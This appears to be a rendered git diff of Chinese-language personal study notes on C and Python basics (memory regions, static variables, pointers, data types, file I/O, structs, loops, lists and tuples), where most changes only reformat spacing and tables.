- **分配和释放:** 由编译器自动分配和释放,不需要手动管理。
- **特点:** 栈区用于存储函数调用时的局部变量、函数参数和函数调用的返回地址等。它是一种后进先出LIFO的数据结构。
- **分配和释放:** 由编译器自动分配和释放,不需要手动管理。
3. **静态区Static**
- **特点:** 静态区分为全局静态区和局部静态区。全局静态区用于存储全局变量和静态变量,而局部静态区用于存储在函数中定义的静态变量。
- **分配和释放:** 由编译器分配,程序运行期间一直存在。
- **特点:** 静态区分为全局静态区和局部静态区。全局静态区用于存储全局变量和静态变量,而局部静态区用于存储在函数中定义的静态变量。
- **分配和释放:** 由编译器分配,程序运行期间一直存在。
4. **代码区Code**
- **特点:** 代码区存储程序的执行代码。这是只读区域,存储了程序的二进制代码。
- **分配和释放:** 由操作系统和加载器负责,无需手动管理。
- **特点:** 代码区存储程序的执行代码。这是只读区域,存储了程序的二进制代码。
- **分配和释放:** 由操作系统和加载器负责,无需手动管理。
&nbsp;
@ -27,53 +30,56 @@ tags: []
1. **带** **`static`** **关键字的全局静态变量:**
```c
// 全局静态变量
static int globalStaticVar = 42;
int main() {
```c
// 全局静态变量
static int globalStaticVar = 42;
int main() {
// 在任何函数中都可以访问 globalStaticVar
}
```
```
这样定义的全局静态变量 `globalStaticVar` 具有文件作用域,即在整个源文件中可见,但是对其他源文件是不可见的。其他源文件中可以定义同名的全局变量,而不会产生冲突。
这样定义的全局静态变量 `globalStaticVar` 具有文件作用域,即在整个源文件中可见,但是对其他源文件是不可见的。其他源文件中可以定义同名的全局变量,而不会产生冲突。
2. **不带** **`static`** **关键字的全局静态变量:**
```c
// 全局静态变量
int globalStaticVar = 42;
```c
// 全局静态变量
int globalStaticVar = 42;
int main() {
// 在任何函数中都可以访问 globalStaticVar
// 在任何函数中都可以访问 globalStaticVar
}
```
```
如果去掉 `static` 关键字,全局静态变量 `globalStaticVar` 将具有全局作用域,即在整个程序中可见,包括其他源文件。这可能导致命名冲突,因为其他源文件也可以定义同名的全局变量。
如果去掉 `static` 关键字,全局静态变量 `globalStaticVar` 将具有全局作用域,即在整个程序中可见,包括其他源文件。这可能导致命名冲突,因为其他源文件也可以定义同名的全局变量。
3. **带** **`static`** **关键字的局部静态变量:**
```c
```c
void exampleFunction() {
// 局部静态变量
static int localStaticVar = 42;
}
// 局部静态变量
static int localStaticVar = 42;
}
int main() {
// localStaticVar 在这里不可见
// localStaticVar 在这里不可见
}
```
这样定义的局部静态变量 `localStaticVar` 具有函数范围的作用域,即仅在定义它的函数 `exampleFunction` 中可见。该变量的生命周期贯穿整个程序的运行时间,而不是仅在 `exampleFunction` 被调用时存在。
这样定义的局部静态变量 `localStaticVar` 具有函数范围的作用域,即仅在定义它的函数 `exampleFunction` 中可见。该变量的生命周期贯穿整个程序的运行时间,而不是仅在 `exampleFunction` 被调用时存在。
4. **不带** **`static`** **关键字的局部静态变量:**
```c
void exampleFunction() {
// 局部静态变量
int localStaticVar = 42;
}
int main() {
// localStaticVar 在这里不可见
```c
void exampleFunction() {
// 局部静态变量
int localStaticVar = 42;
}
int main() {
// localStaticVar 在这里不可见
}
```
如果去掉 `static` 关键字,局部静态变量 `localStaticVar` 仍然有函数范围的作用域,但是它的生命周期将限制在 `exampleFunction` 被调用的时期。每次调用 `exampleFunction` 都会重新初始化这个变量。
如果去掉 `static` 关键字,局部静态变量 `localStaticVar` 仍然有函数范围的作用域,但是它的生命周期将限制在 `exampleFunction` 被调用的时期。每次调用 `exampleFunction` 都会重新初始化这个变量。
总的来说,带有 `static` 关键字的局部静态变量在多次函数调用之间保持其值,具有整个程序运行时间的生命周期。而不带 `static` 关键字的局部静态变量在每次函数调用时都会重新初始化,具有函数调用的生命周期。选择取决于变量是否需要在函数调用之间保持其值。
总的来说,带有 `static` 关键字的局部静态变量在多次函数调用之间保持其值,具有整个程序运行时间的生命周期。而不带 `static` 关键字的局部静态变量在每次函数调用时都会重新初始化,具有函数调用的生命周期。选择取决于变量是否需要在函数调用之间保持其值。

View File

@ -4,7 +4,5 @@ date: 2024-06-06T23:51:47Z
tags: []
---
大端存储:把高位字节放在低字节
小端存储:把低位字节放在高字节

View File

@ -4,25 +4,24 @@ date: 2024-06-06T23:51:39Z
tags: []
---
1. while
```javascript
while(循环条件){
//循环体
}
```
```javascript
while (循环条件) {
//循环体
}
```
2. for
```javascript
for(;;){
//循环体
}
```
```javascript
for (;;) {
//循环体
}
```
3. 退出循环
`continue`:退出本次循环
`continue`:退出本次循环
`break`:退出整个循环
`break`:退出整个循环

View File

@ -4,11 +4,10 @@ date: 2024-06-06T23:51:37Z
tags: []
---
`&` 取地址调试符
`%p` 以地址的格式打印数据使用 (需要将指针强制转换为 (void \*)
`*`​来声明指针变量
`*` 来声明指针变量
地址是内存唯一标示空间
@ -18,9 +17,9 @@ tags: []
取地址是取第一个地址
指针变量在32位上是4字节(32/4,32位的机器上地址用32个二进制数组成,8bit=1byte)64位是8字节
指针变量在 32 位上是 4 字节(32/4,32 位的机器上地址用 32 个二进制数组成,8bit=1byte)64 位是 8 字节
指针变量的不同类型解引用访问的不同的字节 例如 \*char1个字节 \*int 4个字节
指针变量的不同类型解引用访问的不同的字节 例如 \*char1 个字节 \*int 4 个字节
`int (*px)(int);` px 是一个指向接受一个整数参数并返回整数的函数的指针

View File

@ -4,8 +4,7 @@ date: 2024-06-06T23:51:47Z
tags: []
---
main写mian
main 写 mian
函数后面加;
switch 里面的case不加break
switch 里面的 case 不加 break
用链条,查找下一个不创建临时变量,直接修改

View File

@ -4,23 +4,21 @@ date: 2024-06-06T23:51:44Z
tags: []
---
|类型|符号|占位符|字节|
| :------------: | :---------: | :--------------------------------: | :----: |
|字符|char|%c|1|
|字符串型||%s||
|整形|int|%d|4|
|短整型|short|%hd|2|
|长整型|long|%ld|4or8|
|更长整形|long long||8|
|单精度浮点数|float|%f|4|
|双精度浮点数|double|%lf|8|
| 类型 | 符号 | 占位符 | 字节 |
| :----------: | :-------: | :----: | :--: |
| 字符 | char | %c | 1 |
| 字符串型 | | %s | |
| 整形 | int | %d | 4 |
| 短整型 | short | %hd | 2 |
| 长整型 | long | %ld | 4or8 |
| 更长整形 | long long | | 8 |
| 单精度浮点数 | float | %f | 4 |
| 双精度浮点数 | double | %lf | 8 |
## 储存类
|存储类|描述|
| :--------: | :----------------------------------------------------: |
|register|用于定义存储在寄存器中而不是 RAM 中的局部变量|
|static|存储类指示编译器在程序的生命周期内保持局部变量的存在|
|extern|定义在其他文件中声明的全局变量或函数|
| 存储类 | 描述 |
| :------: | :--------------------------------------------------: |
| register | 用于定义存储在寄存器中而不是 RAM 中的局部变量 |
| static | 存储类指示编译器在程序的生命周期内保持局部变量的存在 |
| extern | 定义在其他文件中声明的全局变量或函数 |

View File

@ -4,34 +4,33 @@ date: 2024-06-06T23:51:38Z
tags: []
---
`scanf` 是针对标准输入的格式化语句
`printf`​是针对标准输出的格式化语句
`printf` 是针对标准输出的格式化语句
`fscanf`​是针对所有输入流的格式化语句
`fprintf`​是针对所有输出流的格式化语句
`fscanf` 是针对所有输入流的格式化语句
`fprintf` 是针对所有输出流的格式化语句
`sscanf`​字符串转为格式化语句
`sprintf`​格式化语句转为字符串
`sscanf` 字符串转为格式化语句
`sprintf` 格式化语句转为字符串
`EOF`​检查文件是否到尾部
`EOF` 检查文件是否到尾部
1. 写入文件
```c
size_t fwrite(const void *ptr, size_t size, size_t nmemb, FILE *stream)
```
```c
size_t fwrite(const void *ptr, size_t size, size_t nmemb, FILE *stream)
```
2. 读取文件
```c
size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream)
```
```c
size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream)
```
> ptr -- 这是指向要被写入的元素数组的指针。
> size -- 这是要被写入的每个元素的大小,以字节为单位。
> nmemb -- 这是元素的个数,每个元素的大小为 size 字节。
> stream -- 这是指向 FILE 对象的指针,该 FILE 对象指定了一个输出流。
> ptr -- 这是指向要被写入的元素数组的指针。
> size -- 这是要被写入的每个元素的大小,以字节为单位。
> nmemb -- 这是元素的个数,每个元素的大小为 size 字节。
> stream -- 这是指向 FILE 对象的指针,该 FILE 对象指定了一个输出流。
3. 打开的文件中定位
@ -39,13 +38,13 @@ tags: []
int fseek(FILE *stream, long int offset, int whence)
```
* 参数
- 参数
> stream -- 这是指向 FILE 对象的指针,该 FILE 对象标识了流。
> offset -- 这是相对 whence 的偏移量,以字节为单位。
> whence -- 这是表示开始添加偏移 offset 的位置。它一般指定为下列常量之一:
>
* 常量 描述
- 常量 描述
```c
SEEK_SET 文件的开头

View File

@ -4,48 +4,48 @@ date: 2024-06-06T23:51:47Z
tags: []
---
1. 数组
1. 数组
```c
type arrayName [ arraySize ];
```
```c
type arrayName [ arraySize ];
```
2. 枚举
```c
enum DAY//枚举类型 标签
{
MON=1, TUE, WED, THU, FRI, SAT, SUN
}day;定义名字
```
```c
enum DAY//枚举类型 标签
{
MON=1, TUE, WED, THU, FRI, SAT, SUN
}day;定义名字
```
3. 结构体
```c
struct tag {
member-list
member-list
member-list
...
} variable-list ;
```
> **tag** 是结构体标签。
>
> **member-list** 是标准的变量定义,比如 int i; 或者 float f;,或者其他有效的变量定义。
>
> **variable-list** 结构变量,定义在结构的末尾,最后一个分号之前,您可以指定一个或多个结构变量。
>
4. 共用体
```c
union [union tag]
{
member definition;
member definition;
```c
struct tag {
member-list
member-list
member-list
...
member definition;
} [one or more union variables];
```
} variable-list ;
```
> 与结构体不同所有数据共用一个地址
> **tag** 是结构体标签。
>
> **member-list** 是标准的变量定义,比如 int i; 或者 float f;,或者其他有效的变量定义。
>
> **variable-list** 结构变量,定义在结构的末尾,最后一个分号之前,您可以指定一个或多个结构变量。
4. 共用体
```c
union [union tag]
{
member definition;
member definition;
...
member definition;
} [one or more union variables];
```
> 与结构体不同所有数据共用一个地址

View File

@ -6,17 +6,18 @@ tags: []
1. 预编译/预处理
`-E`
`-E`
1. 将头文件的内容加入
2. difine定义符号的删除,和内容的替换
3. 注释的操作
1. 将头文件的内容加入
2. difine 定义符号的删除,和内容的替换
3. 注释的操作
2. 转换为汇编代码
`-S`
`-S`
3. 将汇编代码转化为机器指令
`-c`
`-c`

View File

@ -6,43 +6,43 @@ tags: []
1. if
```javascript
if ()
{}
else if()
{}
else
{}
```
```javascript
if ()
{}
else if()
{}
else
{}
```
2. 三元运算
```javascript
条件?true:false
```
```javascript
条件 ? true : false;
```
3. switch
```javascript
switch(data){
case value1:
code1
break
case value2:
code2
break
default:
coden
break
}
```
```javascript
switch (data) {
case value1:
code1;
break;
case value2:
code2;
break;
default:
coden;
break;
}
```
4. goto
```c
跳转标签
goto 标签;
```
```c
跳转标签
goto 标签;
```

View File

@ -4,8 +4,7 @@ date: 2024-06-06T23:51:44Z
tags: []
---
> 又称上下文管理器,在处理文件时,无论是否产生异常,都能保证with语句执行完毕后关闭已近打开的文件,这个过程是自动的,无需手动操作.
> 又称上下文管理器,在处理文件时,无论是否产生异常,都能保证 with 语句执行完毕后关闭已近打开的文件,这个过程是自动的,无需手动操作.
语法结构

View File

@ -6,8 +6,8 @@ tags: []
## 概念
是python中内置的不可变数列
在python中使用()定义援助,元素与元素之间使用英文的逗号分隔
python 中内置的不可变数列
python 中使用()定义援助,元素与元素之间使用英文的逗号分隔
元组中只有一个元素的时候,逗号也不能省略
## 元组的创建方法
@ -18,7 +18,7 @@ tags: []
语法结构如下:
`元组名=(element1,element3,......,elementN)`
## 第二种使用内置函数tuple
## 第二种使用内置函数 tuple
语法结构如下:
`元组名=tuple(序列)`

View File

@ -4,9 +4,9 @@ date: 2024-06-06T23:51:47Z
tags: []
---
`id()`​查看数据地址
`len()`​长度
`type()`​类型
`chr(ascll码)`可以输出ascll码对应的
`eval(变量名)`​去掉字符串最外侧的引号
`pass`​占位字符
`id()` 查看数据地址
`len()` 长度
`type()` 类型
`chr(ascll码)` 可以输出 ascll 码对应的
`eval(变量名)` 去掉字符串最外侧的引号
`pass` 占位字符

View File

@ -7,8 +7,8 @@ tags: []
## 概念
是指一系列的按特定顺序排列的元素组成
是Python中内置的可变元素序列
是python中可以使用[]定义列表,元素和元素直接可以使用英文逗号分隔
Python 中内置的可变元素序列
python 中可以使用[]定义列表,元素和元素直接可以使用英文逗号分隔
列表中的元素可以是任意类型
## 基本
@ -19,30 +19,29 @@ tags: []
> start:切片的开始索引(包括)
> end:切片的结束索引(不包括)
> step:步长(默认为1)
> step:步长(默认为 1)
## 遍历
```html
for i in enumerate(数组):
print(i)
for i in enumerate(数组): print(i)
```
## 操作
`x in s`:如果x是s的元素,结果是True,否则结果为False
`x not in s`:如果x不是s的元素,结果为True,否者为False
`len(s)`:序列s的元素的个数
`x in s`:如果 x s 的元素,结果是 True,否则结果为 False
`x not in s`:如果 x 不是 s 的元素,结果为 True,否者为 False
`len(s)`:序列 s 的元素的个数
`max(s)`:元素当中的最大值
`min(s)`:元素当中的最小值
`s.index(x)`:序列s中第一次出现元素x的位置
`s.count(x)`:序列s中出现元素x的的总和
`s.index(x)`:序列 s 中第一次出现元素 x 的位置
`s.count(x)`:序列 s 中出现元素 x 的的总和
`lst.append(x)`:在列表lst最后增加一个元素
`lst.insert(index,x)`:在列表lst中第index位置增加一个元素
`lst.clear`:清除列表lst中的所有元素
`lst.pop(index)`:将列表lst中第index位置的元素去除,并从列表中将其删除
`lst.remove(x)`:将列表中出现的第一个元素x删除
`lst.append(x)`:在列表 lst 最后增加一个元素
`lst.insert(index,x)`:在列表 lst 中第 index 位置增加一个元素
`lst.clear`:清除列表 lst 中的所有元素
`lst.pop(index)`:将列表 lst 中第 index 位置的元素去除,并从列表中将其删除
`lst.remove(x)`:将列表中出现的第一个元素 x 删除
`lst.reverse(x)`:将列表中的元素反转
`lst.copy()`:拷贝列表中的所有元素,生产一个新的列表

View File

@ -8,7 +8,7 @@ tags: []
`print("")`
- Python允许使用单引号、双引号、三重引号单引号或双引号来表示字符串
- Python 允许使用单引号、双引号、三重引号(单引号或双引号)来表示字符串
- `end=''`输出以空格结尾,而不是默认的换行符
- `sep=","`指定了逗号作为分隔符。
输入到文件: `print("文字",file=文件名)`
@ -27,9 +27,7 @@ tags: []
```html
"""
需要注释的代码
"""
""" 需要注释的代码 """
```
## 导入模块

Some files were not shown because too many files have changed in this diff Show More